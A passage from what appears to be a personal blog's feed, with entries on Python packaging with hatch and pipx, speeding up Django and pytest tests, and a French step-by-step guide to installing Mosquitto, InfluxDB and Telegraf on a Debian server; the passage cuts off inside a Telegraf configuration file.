package of mine that needed some attention :
&lt;a href="https://gitlab.com/almet/debts"&gt;debts&lt;/a&gt;. It&amp;#8217;s now time to package it, so I
discovered &lt;a href="https://hatch.pypa.io/"&gt;hatch&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;hatch new&amp;nbsp;&amp;#8212;init&lt;/p&gt;
&lt;p&gt;This does the heavy-lifting for you, actually porting the &lt;code&gt;setup.py&lt;/code&gt; files …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;It&amp;#8217;s been a while I didn&amp;#8217;t packaged something new. I recently remembered an old
package of mine that needed some attention :
&lt;a href="https://gitlab.com/almet/debts"&gt;debts&lt;/a&gt;. It&amp;#8217;s now time to package it, so I
discovered &lt;a href="https://hatch.pypa.io/"&gt;hatch&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;hatch new&amp;nbsp;&amp;#8212;init&lt;/p&gt;
&lt;p&gt;This does the heavy-lifting for you, actually porting the &lt;code&gt;setup.py&lt;/code&gt; files to the
new way of packaging with python (with a &lt;code&gt;pyproject.toml&lt;/code&gt; file)&lt;/p&gt;
&lt;p&gt;Then &lt;code&gt;hatch shell&lt;/code&gt; will create a development environment, install dependencies,
check the &lt;code&gt;pyproject.toml&lt;/code&gt; file in one command, and give you a shell to test
whatever you need to&amp;nbsp;test.&lt;/p&gt;
&lt;h2 id="isolating-system-packages"&gt;Isolating system&amp;nbsp;packages&lt;/h2&gt;
&lt;p&gt;I discovered that &lt;a href="https://github.com/pypa/pipx"&gt;pipx&lt;/a&gt; is a convenient way to
install user-facing applications on my system. I use multiple virtual
environments for my different projects, but not for the install that are used&amp;nbsp;system-wide.&lt;/p&gt;
&lt;p&gt;pipx seems to solve this, and avoid using &lt;code&gt;sudo pip install x&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="manipulating-env-variables-with-zsh"&gt;Manipulating env variables with&amp;nbsp;Zsh&lt;/h2&gt;
&lt;p&gt;I use &lt;a href="https://www.zsh.org/"&gt;Zsh&lt;/a&gt; as my main shell for years, and I just
discovered that it&amp;#8217;s possible to manipulate environment variables in an easy&amp;nbsp;way.&lt;/p&gt;
&lt;p&gt;If you&amp;#8217;re like me, you never remember how to add something to your path. You
can actually use &lt;code&gt;+=&lt;/code&gt;, like&amp;nbsp;this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;+=(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/Users/alexis/.local/bin&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;PATH
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category><category term="python"></category><category term="packaging"></category><category term="zsh"></category></entry><entry><title>Profiling and speeding up Django and Pytest</title><link href="https://blog.notmyidea.org/profiling-and-speeding-up-django-and-pytest.html" rel="alternate"></link><published>2023-08-16T00:00:00+02:00</published><updated>2023-08-16T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2023-08-16:/profiling-and-speeding-up-django-and-pytest.html</id><summary type="html">
&lt;p&gt;&lt;a href="https://yaal.coop/"&gt;Éloi&lt;/a&gt; made &lt;a href="https://github.com/spiral-project/ihatemoney/issues/1214"&gt;a pull request on
IHateMoney&lt;/a&gt; to
speedup the tests, with some great tooling for pytest that I wasn&amp;#8217;t aware&amp;nbsp;of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/pytest-xdist/"&gt;pytest-xdist&lt;/a&gt; allows to run tests in
  parallel, using &lt;code&gt;-n auto&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/pytest-profiling/"&gt;pytest-profiling&lt;/a&gt; makes it easy
  to get the call stack and time the function calls that take most …&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">
&lt;p&gt;&lt;a href="https://yaal.coop/"&gt;Éloi&lt;/a&gt; made &lt;a href="https://github.com/spiral-project/ihatemoney/issues/1214"&gt;a pull request on
IHateMoney&lt;/a&gt; to
speedup the tests, with some great tooling for pytest that I wasn&amp;#8217;t aware&amp;nbsp;of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/pytest-xdist/"&gt;pytest-xdist&lt;/a&gt; allows to run tests in
  parallel, using &lt;code&gt;-n auto&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/pytest-profiling/"&gt;pytest-profiling&lt;/a&gt; makes it easy
  to get the call stack and time the function calls that take most of the&amp;nbsp;time.&lt;/li&gt;
&lt;li&gt;You can them analyse the &lt;code&gt;.prof&lt;/code&gt; files with
  &lt;a href="https://pypi.org/project/snakeviz/"&gt;Snakeviz&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, I spent some time using these on the tests for &lt;a href="https://chariotte.fr"&gt;La
Chariotte&lt;/a&gt;, because they were&amp;nbsp;slow.&lt;/p&gt;
&lt;p&gt;I found two things&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Login calls are costly in the test, and it&amp;#8217;s possible to speed things up&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;On my machine, calls to resolve my hostname were slow, using 5s during the
  tests for a lookup that wasn&amp;#8217;t even&amp;nbsp;useful.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="changing-the-hashing-algorithm-to-speedup-tests"&gt;Changing the hashing algorithm to speedup&amp;nbsp;tests&lt;/h2&gt;
&lt;p&gt;By default, Django uses a slow (but secure !) hashing mechanism for checking
the user credentials. In the tests, we don&amp;#8217;t need this security, but we need
the&amp;nbsp;speed.&lt;/p&gt;
&lt;p&gt;Changing them to use &lt;span class="caps"&gt;MD5&lt;/span&gt; turns out to be a way to greatly speed them up! Here
is how to do it with a pytest fixture&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@pytest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fixture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;autouse&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;password_hasher_setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Use a weaker password hasher during tests, for speed&lt;/span&gt;
    &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PASSWORD_HASHERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;&amp;quot;django.contrib.auth.hashers.MD5PasswordHasher&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="speeding-dns-lookups"&gt;Speeding &lt;span class="caps"&gt;DNS&lt;/span&gt;&amp;nbsp;lookups&lt;/h2&gt;
&lt;p&gt;I&amp;#8217;m currently using a MacOSX machine, and for for whatever reason, the local
lookup was not configured properly on my machine. I don&amp;#8217;t think I did anything
specific to get this wrong, so it might be your case too. Calls to resolve the
local domain were tooking&amp;nbsp;5s.&lt;/p&gt;
&lt;p&gt;If the answer to &lt;code&gt;scutil --get LocalHostName&lt;/code&gt;, &lt;code&gt;hostname&lt;/code&gt; and &lt;code&gt;scutil --get
HostName&lt;/code&gt; differ, then you might be in this case. Here is the fix&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;scutil&lt;span class="w"&gt; &lt;/span&gt;--set&lt;span class="w"&gt; &lt;/span&gt;HostName&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;YourHostName&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category><category term="django"></category><category term="pytest"></category></entry><entry><title>Installation de Mosquitto, InfluxDB, Telegraf et Grafana</title><link href="https://blog.notmyidea.org/installation-de-mosquitto-influxdb-telegraf-et-grafana.html" rel="alternate"></link><published>2022-08-29T00:00:00+02:00</published><updated>2022-08-29T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2022-08-29:/installation-de-mosquitto-influxdb-telegraf-et-grafana.html</id><summary type="html">&lt;p&gt;Récemment, on a m&amp;#8217;a demandé un petit coup de main pour aider à l&amp;#8217;installation d&amp;#8217;une pile logicielle qui permet de stocker des données temporelles et en faire des&amp;nbsp;graphiques.&lt;/p&gt;
&lt;p&gt;Voici donc quelques notes prises durant l&amp;#8217;installation du système, concues pour que des personnes qui n&amp;#8217;y …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Récemment, on a m&amp;#8217;a demandé un petit coup de main pour aider à l&amp;#8217;installation d&amp;#8217;une pile logicielle qui permet de stocker des données temporelles et en faire des&amp;nbsp;graphiques.&lt;/p&gt;
&lt;p&gt;Voici donc quelques notes prises durant l&amp;#8217;installation du système, concues pour que des personnes qui n&amp;#8217;y connaissent pas grand chose puissent s&amp;#8217;y&amp;nbsp;retrouver.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;objectif, c&amp;#8217;est d&amp;#8217;avoir des cartes Arduino qui envoient des données de manière régulière sur un système qui va nous permettre de les stocker et d&amp;#8217;en faire des&amp;nbsp;graphiques.&lt;/p&gt;
&lt;p&gt;Pour ça, nous allons utiliser&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Un &lt;em&gt;Broker&lt;/em&gt; &lt;a href="https://mosquitto.org/"&gt;Mosquitto&lt;/a&gt; qui va permettre de receptionner les données depuis les différents &lt;em&gt;clients&lt;/em&gt;, puis de les dispatcher à qui en a besoin&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Une base de données &lt;a href="https://www.influxdata.com/products/influxdb-overview/"&gt;InfluxDB&lt;/a&gt;, qui permet de stocker des données temporelles&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Un &lt;em&gt;agent&lt;/em&gt; &lt;a href="https://www.influxdata.com/time-series-platform/telegraf/"&gt;Telegraf&lt;/a&gt; qui va prendre les données du broker et les stocker dans la base de données&amp;nbsp;InfluxDB.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://grafana.com/"&gt;Grafana&lt;/a&gt;, une &lt;em&gt;application web&lt;/em&gt; qui permet de visualiser les données stockées dans&amp;nbsp;InfluxDB.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voici donc un document qui résume les étapes que j&amp;#8217;ai suivies pour mettre en place les différents élements utiles&amp;nbsp;:&lt;/p&gt;
&lt;h2 id="installer-et-se-connecter-au-serveur"&gt;Installer et se connecter au&amp;nbsp;serveur&lt;/h2&gt;
&lt;p&gt;Dans notre cas, on est passé par un &lt;span class="caps"&gt;VPS&lt;/span&gt; chez &lt;span class="caps"&gt;OVH&lt;/span&gt;, qui tourne sous &lt;a href="https://www.debian.org/"&gt;Debian 11&lt;/a&gt;, qui a le mérite d&amp;#8217;être une distribution Linux stable, reconnue et (relativement) simple à&amp;nbsp;utiliser.&lt;/p&gt;
&lt;p&gt;Dans un terminal, vous pouvez vous connecter en utilisant la ligne de commande suivante&amp;nbsp;:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Les lignes suivantes sont des lignes d&amp;#8217;invite de commande, on les rencontre assez souvent dans les documentations sur le web. Le signe &lt;code&gt;$&lt;/code&gt; signifie le début de la ligne de commande. Le signe &lt;code&gt;#&lt;/code&gt; signifie le début des&amp;nbsp;commentaires.&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;utilisateur@adresseip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Une fois connecté, on va mettre à jour les logiciels qui sont présents sur le&amp;nbsp;serveur. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# mise à jour des dépôts (la liste des logiciels).&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;upgrade&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# mise à jour des logiciels.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="configurer-les-dns"&gt;Configurer les &lt;span class="caps"&gt;DNS&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Nous allons avoir besoin de deux sous domaines qui redirigent vers le serveur. Bien sur, il faut adapter &lt;code&gt;ndd.tld&lt;/code&gt; et le remplacer par votre nom de domaine&amp;nbsp;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;moquitto.ndd.tld&lt;/li&gt;
&lt;li&gt;graphs.ndd.tld&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Pour faire ça, chez &lt;span class="caps"&gt;OVH&lt;/span&gt; ça se passe dans la console de « &lt;span class="caps"&gt;OVH&lt;/span&gt; Cloud », direction « Noms de domaines », et puis il faut rajouter deux enregistrements de type « A » qui pointent vers l&amp;#8217;adresse &lt;span class="caps"&gt;IP&lt;/span&gt; du&amp;nbsp;serveur.&lt;/p&gt;
&lt;p&gt;En temps normal, l&amp;#8217;adresse &lt;span class="caps"&gt;IP&lt;/span&gt; vous est fournie par &lt;span class="caps"&gt;OVH&lt;/span&gt;. Si vous avez un doute, vous pouvez l&amp;#8217;obtenir depuis le serveur avec la commande &lt;code&gt;ip a&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="installer-mosquitto"&gt;Installer&amp;nbsp;Mosquitto&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;mosquitto&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# installation depuis les dépots officiels&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Une fois installé, &lt;a href="https://mosquitto.org/documentation/authentication-methods/"&gt;il faut sécuriser l&amp;#8217;installation avec un utilisateur et un mot de passe&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mosquitto_passwd&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;/etc/mosquitto/passwd&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;username&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ensuite dans le fichier de configuration il faut spécifier où est le fichier qui contient les mots de passe. Pour éditer je recommande l&amp;#8217;utilisation de l&amp;#8217;éditeur de texte &lt;code&gt;nano&lt;/code&gt;. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/etc/mosquitto/mosquitto.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Voici les lignes à rajouter&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;listener 1883
password_file /etc/mosquitto/passwd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Puis il faut relancer le service mosquitto&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;restart&lt;span class="w"&gt; &lt;/span&gt;mosquitto
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Avant de pouvoir utiliser mosquitto, il faut &lt;a href="https://docs.ovh.com/gb/en/dedicated/firewall-network/"&gt;régler le firewall&lt;/a&gt; de chez &lt;span class="caps"&gt;OVH&lt;/span&gt; pour qu&amp;#8217;il accepte de laisser passer les messages pour le broker &lt;span class="caps"&gt;MQTT&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Il faut ajouter une règle dans le Firewall qui laisse passer toutes les connections &lt;span class="caps"&gt;TCP&lt;/span&gt;, avec l&amp;#8217;option « établie&amp;nbsp;».&lt;/p&gt;
&lt;h3 id="verifions-que-tout-fonctionne-comme-prevu"&gt;Vérifions que tout fonctionne comme prévu&amp;nbsp;:&lt;/h3&gt;
&lt;p&gt;Dans une console,&amp;nbsp;écoutons…&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mosquitto_sub&lt;span class="w"&gt; &lt;/span&gt;-h&lt;span class="w"&gt; &lt;/span&gt;mosquitto.ndd.tld&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1883&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;username&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;-P&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;password&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;topic
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Et dans une autre envoyons un message&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mosquitto_pub&lt;span class="w"&gt; &lt;/span&gt;-h&lt;span class="w"&gt; &lt;/span&gt;mosquitto.ndd.tld&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1883&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;username&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;-P&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;password&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;topic&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Vous deviez voir « 30 » apparaitre dans la première console. Si c&amp;#8217;est bon, tout fonctionne&amp;nbsp;!&lt;/p&gt;
&lt;h2 id="installation-dinfluxdb-et-telegraf"&gt;Installation d&amp;#8217;InfluxDB et&amp;nbsp;Telegraf&lt;/h2&gt;
&lt;p&gt;Coup de bol, InfluxDB propose directement des packets pour Debian, sur leur dépot, qu&amp;#8217;il faut donc ajouter en suivant ces quelques lignes&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-y&lt;span class="w"&gt; &lt;/span&gt;gnupg2&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;wget
wget&lt;span class="w"&gt; &lt;/span&gt;-qO-&lt;span class="w"&gt; &lt;/span&gt;https://repos.influxdata.com/influxdb.key&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt-key&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;-
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;deb https://repos.influxdata.com/debian &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;lsb_release&lt;span class="w"&gt; &lt;/span&gt;-cs&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; stable&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;tee&lt;span class="w"&gt; &lt;/span&gt;/etc/apt/sources.list.d/influxdb.list
sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Puis &lt;code&gt;sudo apt install influxdb telegraf&lt;/code&gt; pour&amp;nbsp;l&amp;#8217;installer.&lt;/p&gt;
&lt;p&gt;Ensuite, vous pouvez le lancer maintenant et indiquer au système de le lancer tout seul au démarrage&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--now&lt;span class="w"&gt; &lt;/span&gt;influxdb
$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--now&lt;span class="w"&gt; &lt;/span&gt;telegraf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="configuration-de-telegraf"&gt;Configuration de&amp;nbsp;Telegraf&lt;/h3&gt;
&lt;p&gt;Telegraf permet de faire le lien entre les messages envoyés sur le broker &lt;span class="caps"&gt;MQTT&lt;/span&gt; et la base de données&amp;nbsp;InfluxDB.&lt;/p&gt;
&lt;p&gt;Ici, il faut rentrer un peu plus dans le vif du sujet, et ça dépends des messages que vous avez à&amp;nbsp;stocker.&lt;/p&gt;
&lt;p&gt;Dans notre cas, nous avons trois types de messages&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/BatVoltage,&amp;nbsp;int&lt;/li&gt;
&lt;li&gt;/Temperature,&amp;nbsp;int&lt;/li&gt;
&lt;li&gt;/&lt;span class="caps"&gt;GPS&lt;/span&gt;,&amp;nbsp;string&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voici un fichier de configuration, qui reste à modifier en fonction des&amp;nbsp;données.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[global_tags]&lt;/span&gt;
&lt;span class="k"&gt;[agent]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;interval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;10s&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;round_interval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;metric_batch_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;metric_buffer_limit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10000&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;collection_jitter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0s&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;flush_interval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;10s&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;flush_jitter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0s&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;precision&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0s&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;hostname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;omit_hostname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;false&lt;/span&gt;

&lt;span class="k"&gt;[[outputs.influxdb]]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;urls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;[&amp;quot;http://127.0.0.1:8086&amp;quot;]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;database&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;telegraf&amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;[[inputs.mqtt_consumer]]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;servers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;[&amp;quot;tcp://127.0.0.1:1883&amp;quot;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;name_override&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mqtt_consumer_float&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;topics&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="na"&gt;&amp;quot;Topic/BatVoltage&amp;quot;,&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="na"&gt;&amp;quot;Topic/Temperature&amp;quot;,&lt;/span&gt;
